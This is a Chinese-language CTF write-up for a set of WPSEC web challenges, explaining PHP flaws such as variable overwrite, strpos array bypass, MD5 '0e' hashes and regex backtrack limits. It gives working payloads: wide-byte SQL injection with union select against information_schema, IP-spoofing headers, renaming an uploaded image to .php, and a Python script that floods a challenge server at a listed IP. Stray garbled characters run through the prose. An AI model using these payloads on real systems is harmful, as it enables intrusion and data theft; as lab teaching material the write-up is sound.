[WPSEC]——WP

1

圖片.png

2

圖片.png

同時(shí)GET冲粤,POST

3

【代碼審計(jì)】之變量覆蓋一

flag In the variable !


flag In the variable ! 

<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}


?>

附上源碼
PHP自動(dòng)化的全局變量:$GLOBALS —— 引用全局作用域中可用的全部變量,一個(gè)包含了全部變量的全局組合數(shù)組嗡呼。變量的名字就是數(shù)組的鍵。

正則表達(dá)式"/^\w+$/",匹配字符串间涵,\w表示字符+數(shù)字+下劃線{ a-z,A-Z,_,0-9 }。如果不匹配會(huì)輸出 ‘’args error!‘’\

兩個(gè)/``/ 表明正則表達(dá)式的開始與結(jié)束榜揖,^開始字符勾哩,$結(jié)束字符抗蠢,+代表可以有一個(gè)或多個(gè)\w

PHP中變量可以當(dāng)作另一個(gè)變量的變量名:$$args思劳,結(jié)合第一句flag In the variable !

所以構(gòu)造payload:URL?args=GLOBALS

即可爆出所有args迅矛,其中包含flag。


圖片.png

4

【代碼審計(jì)】之?dāng)?shù)組繞過

<?php
error_reporting(0);
include "flag3.php";
highlight_file(__file__);
function areyouok($greeting){
    return preg_match('/Wpsec.*Good/is',$greeting);
}

$greeting=@$_POST['greeting'];
if($greeting){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Wpsec Good')!==false){
            echo 'Wpsec Good. '.$flag;
        }else{
            echo 'Do you know php?';
        }
    }else{
        echo 'Do you really know PHP?';
    }
}
?>

附上源碼
PHP strpos() 函數(shù):查找 "php" 在字符串中第一次出現(xiàn)的位置:
eg:

<?php
echo strpos("You love php, I love php too!","php");
?>

要求post一個(gè) greeting參數(shù)潜叛,經(jīng)過areyouok函數(shù)正則過濾后如果返回false秽褒,
就進(jìn)入下一個(gè)if,如果 greeting參數(shù)包含 Wpsec Good則打印flag威兜。
可以利用strpos函數(shù)的一個(gè)漏洞销斟,傳入一個(gè)數(shù)組,會(huì)返回 NULL牡属, NULL不強(qiáng)等于false票堵,即可繞過。
注:PHP函數(shù)中大部分無法處理數(shù)組
構(gòu)造payload:

greeting= &greeting[]=Wpsec Good

5

圖片.png

F12——網(wǎng)絡(luò)——消息頭

6

【代碼審計(jì)】之變量覆蓋二

<?php
   error_reporting(0);
   include "flag.php";
   highlight_file(__file__);
   $_403 = "Access Denied";

   $_200 = "Welcome Admin";

   if ($_SERVER["REQUEST_METHOD"] != "POST")
   {

         die("WPSEC-CTF is here :p...");
   }
   if ( !isset($_POST["flag"]) )
   {
         die($_403);
   }
   foreach ($_GET as $key => $value)
   {
         $$key = $$value;
   }
   foreach ($_POST as $key => $value)
   {
         $$key = $value;
   }
   if ( $_POST["flag"] !== $flag )
   {
         die($_403);
   }
   echo "This is your flag : ". $flag . "\n";
   die($_200);
?>
WPSEC-CTF is here :p...

附上源碼
題目分析:

源碼包含了flag.php文件逮栅,并且需要滿足3個(gè)if 里的條件才能獲取flag悴势,題目中使用了兩個(gè)foreach并且也使用了 $$.兩個(gè)foreach中對(duì)$$key的處理是不一樣的,滿足條件后會(huì)將$flag里面的值打印出來措伐,所以$flag是在flag.php文件文件中的特纤。

但是由于$flag的值會(huì)被中間部分代碼給覆蓋掉,所以需要先將$flag的值賦給$_200$_403變量侥加,然后利用die($_200)或 die($_403)將flag打印出來捧存。

兩個(gè)foreach函數(shù)遍歷數(shù)組函數(shù),這里就是把我們用get方法傳輸?shù)臄?shù)據(jù)當(dāng)做數(shù)組進(jìn)行遍歷担败,并將遍歷的參數(shù)賦值給key昔穴,將參數(shù)值復(fù)制給value。
還有一個(gè)if判斷語句提前,判斷用post方法傳輸?shù)臄?shù)據(jù)是不是和$flag的值相同吗货,如果相同,輸出flag狈网。
最后輸出$200的內(nèi)容宙搬。

解題方法:

由于第7,11-14行間的代碼會(huì)將$flag的值給覆蓋掉拓哺,所以只能利用第一個(gè)foreach先將$flag的值賦給$_200勇垛,然后利用die($_200)將原本的flag值打印出來。

最終PAYLOAD:

GET DATA:?_200=flag 

POST DATA:flag=1

7

IP偽造+密碼學(xué)

IP偽造的方法:

X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr

解題:

用burp進(jìn)行抓包士鸥,前提是先輸入賬戶密碼闲孤,一般我們使用賬戶admin,密碼隨意,抓包后進(jìn)行ip偽造础淤,
圖片.png

注意這里的IP為題目上提到的崭放,并不是本地的哨苛。

之后,send to repeater,運(yùn)行后發(fā)現(xiàn)币砂,

圖片.png

rot13這里用到密碼學(xué)建峭,解碼后發(fā)現(xiàn),jcfrp=wpsec决摧,很顯然亿蒸,這就是密碼,不難想到掌桩,只有賬戶和密碼同時(shí)正確边锁,并且ip偽造成功,才能得到我們的flag波岛,故輸入admin,wpsec茅坛,后抓包,ip偽造则拷,得到FLAG
圖片.png

8

文件上傳贡蓖,這里需要提到如何在圖片中插入一句話木馬
上傳時(shí)借助抓包工具,

圖片.png

這里我們需要修改“2.jpg”為"2.php"方可繞過煌茬,拿到flag,
圖片.png

9

sql注入之寬字節(jié)注入

這里我們需要用到%df',類似于sql-lab-less32吧斥铺,
嘗試注入?id=0%df' union select 1,1,1--+

注意這里過濾了#注釋,故我們可以使用其他的注釋

圖片.png

接下來就直接放payload:
爆庫:
?id=0%df' union select 1,1,database()--+
爆表:
?id=0%df' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆值:
?id=0%df' union select 1,1,group_concat(flag) from test.flag--+
注意:這里由于限制了 ' 我們無法用常用的語句坛善,如 "table_name='flag'晾蜘,這樣無法繞過
最終拿到FLAG

10

<?php
  error_reporting(0);
  include "flag2.php";
  highlight_file(__file__);
  $flag = 'xxx';

  extract($_GET);

  if (isset($gift)) 
  {
    $content = trim(file_get_contents($flag));

    if ($gift == $content) 
    {
     
       if(isset($_POST['id']))
       {$a = 'huahuishishabi';
        @parse_str($_POST['id']);
        if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) 
        {
                 echo $theflag;
        } 
        else 
        {


          exit('oh...no..');



        }

      }
        else{
          echo 'oh..no.no..'; 
        }
      
    }

  } 
       else 
      {
           echo 'Oh..';
      }

  


?>
Oh..

附上源碼
PHP trim() 函數(shù):移除字符串兩側(cè)的空白字符或其他預(yù)定義字符。
PHP extract() 函數(shù):從數(shù)組中將變量導(dǎo)入到當(dāng)前的符號(hào)表眠屎。
PHP parse_str() 函數(shù):把查詢字符串解析到變量中剔交。
題目分析:
第一個(gè)if GET傳flag 和 gift 的值,如果弱類型相等即可執(zhí)行結(jié)下了的語句
第二個(gè)if POST傳id,如果id的值等于a[0]改衩,a[0]的值等于md5加密后與QNKCDZO加密后一樣省容,即都為0e開頭的即可
整理一下思路:首先要求使用GET提交flag和gift參數(shù),其次用POST提交id參數(shù)燎字,然后parse_str($id)對(duì)id參數(shù)的數(shù)據(jù)進(jìn)行處理,再使用判斷$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)的結(jié)果是否為真阿宅,為真就返回flag候衍,md5(‘QNKCDZO’)的結(jié)果是0e830400451993494058024219903391由于此次要滿足$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)所以要利用php弱語言特性,0e123會(huì)被當(dāng)做科學(xué)計(jì)數(shù)法洒放,0 * 10 x 123蛉鹿。所以需要找到一個(gè)字符串md5后的結(jié)果是0e開頭后面都是數(shù)字的,如往湿,240610708妖异,s878926199a

這里用到PHP處理0e開頭md5哈希字符串缺陷/bug

解題過程:


圖片.png

11

<?php
error_reporting(0);
include "flag4.php";
highlight_file(__file__);
function areyouok($greeting){
    return preg_match('/Wpsec.*Good/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Wpsec Good')!==false){
            echo 'Wpsec Good. '.$flag;
        }else{
            echo 'Do you know php?';
        }
    }else{
        echo 'Do you really know PHP?';
    }
}
?>
Do you know php?

附上源碼
題目分析:
這道題與前面的一道題類似
但是加上了is_array的判斷惋戏,不允許使用數(shù)組來繞過。
所以那道題的思路不能再用了他膳。 這里需要用到正則回溯响逢,可以參考大牛的文章:PHP利用PCRE回溯次數(shù)限制繞過某些安全限制
PHP為了防止正則表達(dá)式的拒絕服務(wù)攻擊(reDOS),給pcre設(shè)定了一個(gè)回溯次數(shù)上限 pcre.backtrack_limit棕孙,默認(rèn)為100萬舔亭。當(dāng)正則回溯超過這個(gè)上限時(shí),就會(huì)返回false蟀俊。
因此我們只要post100萬個(gè)字符钦铺,讓它回溯大于100萬次,函數(shù)就會(huì)返回false肢预,從而繞過if判斷矛洞。
解題思路:
這里我直接上傳了腳本

import requests
data = {"greeting":"Wpsec Good" + "aaaaa" * 1000000}
res = requests.post('http://47.93.6.132:5002/phpgood2.php', data=data)
print (res.content)

結(jié)果


圖片.png

當(dāng)然還有另一種解題思路,但是比較麻煩
直接POST greeting=Wpsec Good (后面省略一百萬個(gè)字符)

12

這道300分的題一看就不簡單烫映,題目名字sqlsql沼本,故推斷需要進(jìn)行兩次注入
第一次注入,其實(shí)和sql-lab-less24題很像窑邦。
解題思路:
我們先利用注冊(cè)擅威,進(jìn)行注冊(cè)username:admin'#,password:123
接著根據(jù)經(jīng)驗(yàn),這時(shí)候修改密碼冈钦,修改后的密碼便是

username:admin的密碼

登陸后郊丛,發(fā)現(xiàn)后臺(tái)提示table:flag,tolumn:flag,不難想到瞧筛,表名厉熟,列名,但是用這個(gè)信息注入還不行较幌,
因?yàn)閐elete過濾了太多
這道題的過濾點(diǎn) union where or 對(duì)我們構(gòu)成必要的sql語句造成了不便揍瑟,這時(shí)候我們可以用/**/
例如:

un/**/ion 
whe/**/re 
o/**/r

但是由于只是儲(chǔ)備有限,最終未能拿到flag乍炉,不過據(jù)說需要用腳本跑绢片。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市岛琼,隨后出現(xiàn)的幾起案子底循,更是在濱河造成了極大的恐慌,老刑警劉巖槐瑞,帶你破解...
    沈念sama閱讀 216,919評(píng)論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件熙涤,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)祠挫,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,567評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門那槽,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人等舔,你說我怎么就攤上這事骚灸。” “怎么了软瞎?”我有些...
    開封第一講書人閱讀 163,316評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵逢唤,是天一觀的道長。 經(jīng)常有香客問我涤浇,道長鳖藕,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,294評(píng)論 1 292
  • 正文 為了忘掉前任只锭,我火速辦了婚禮著恩,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘蜻展。我一直安慰自己喉誊,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,318評(píng)論 6 390
  • 文/花漫 我一把揭開白布纵顾。 她就那樣靜靜地躺著伍茄,像睡著了一般。 火紅的嫁衣襯著肌膚如雪施逾。 梳的紋絲不亂的頭發(fā)上敷矫,一...
    開封第一講書人閱讀 51,245評(píng)論 1 299
  • 那天,我揣著相機(jī)與錄音汉额,去河邊找鬼曹仗。 笑死,一個(gè)胖子當(dāng)著我的面吹牛蠕搜,可吹牛的內(nèi)容都是我干的怎茫。 我是一名探鬼主播,決...
    沈念sama閱讀 40,120評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼妓灌,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼轨蛤!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起虫埂,我...
    開封第一講書人閱讀 38,964評(píng)論 0 275
  • 序言:老撾萬榮一對(duì)情侶失蹤俱萍,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后告丢,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,376評(píng)論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,592評(píng)論 2 333
  • 正文 我和宋清朗相戀三年岖免,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了岳颇。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,764評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡颅湘,死狀恐怖话侧,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情闯参,我是刑警寧澤瞻鹏,帶...
    沈念sama閱讀 35,460評(píng)論 5 344
  • 正文 年R本政府宣布,位于F島的核電站鹿寨,受9級(jí)特大地震影響新博,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜脚草,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,070評(píng)論 3 327
  • 文/蒙蒙 一赫悄、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧馏慨,春花似錦埂淮、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,697評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至慕趴,卻和暖如春痪蝇,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背秩贰。 一陣腳步聲響...
    開封第一講書人閱讀 32,846評(píng)論 1 269
  • 我被黑心中介騙來泰國打工霹俺, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人毒费。 一個(gè)月前我還...
    沈念sama閱讀 47,819評(píng)論 2 370
  • 正文 我出身青樓丙唧,卻偏偏與公主長得像,于是被迫代替她去往敵國和親觅玻。 傳聞我的和親對(duì)象是個(gè)殘疾皇子想际,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,665評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容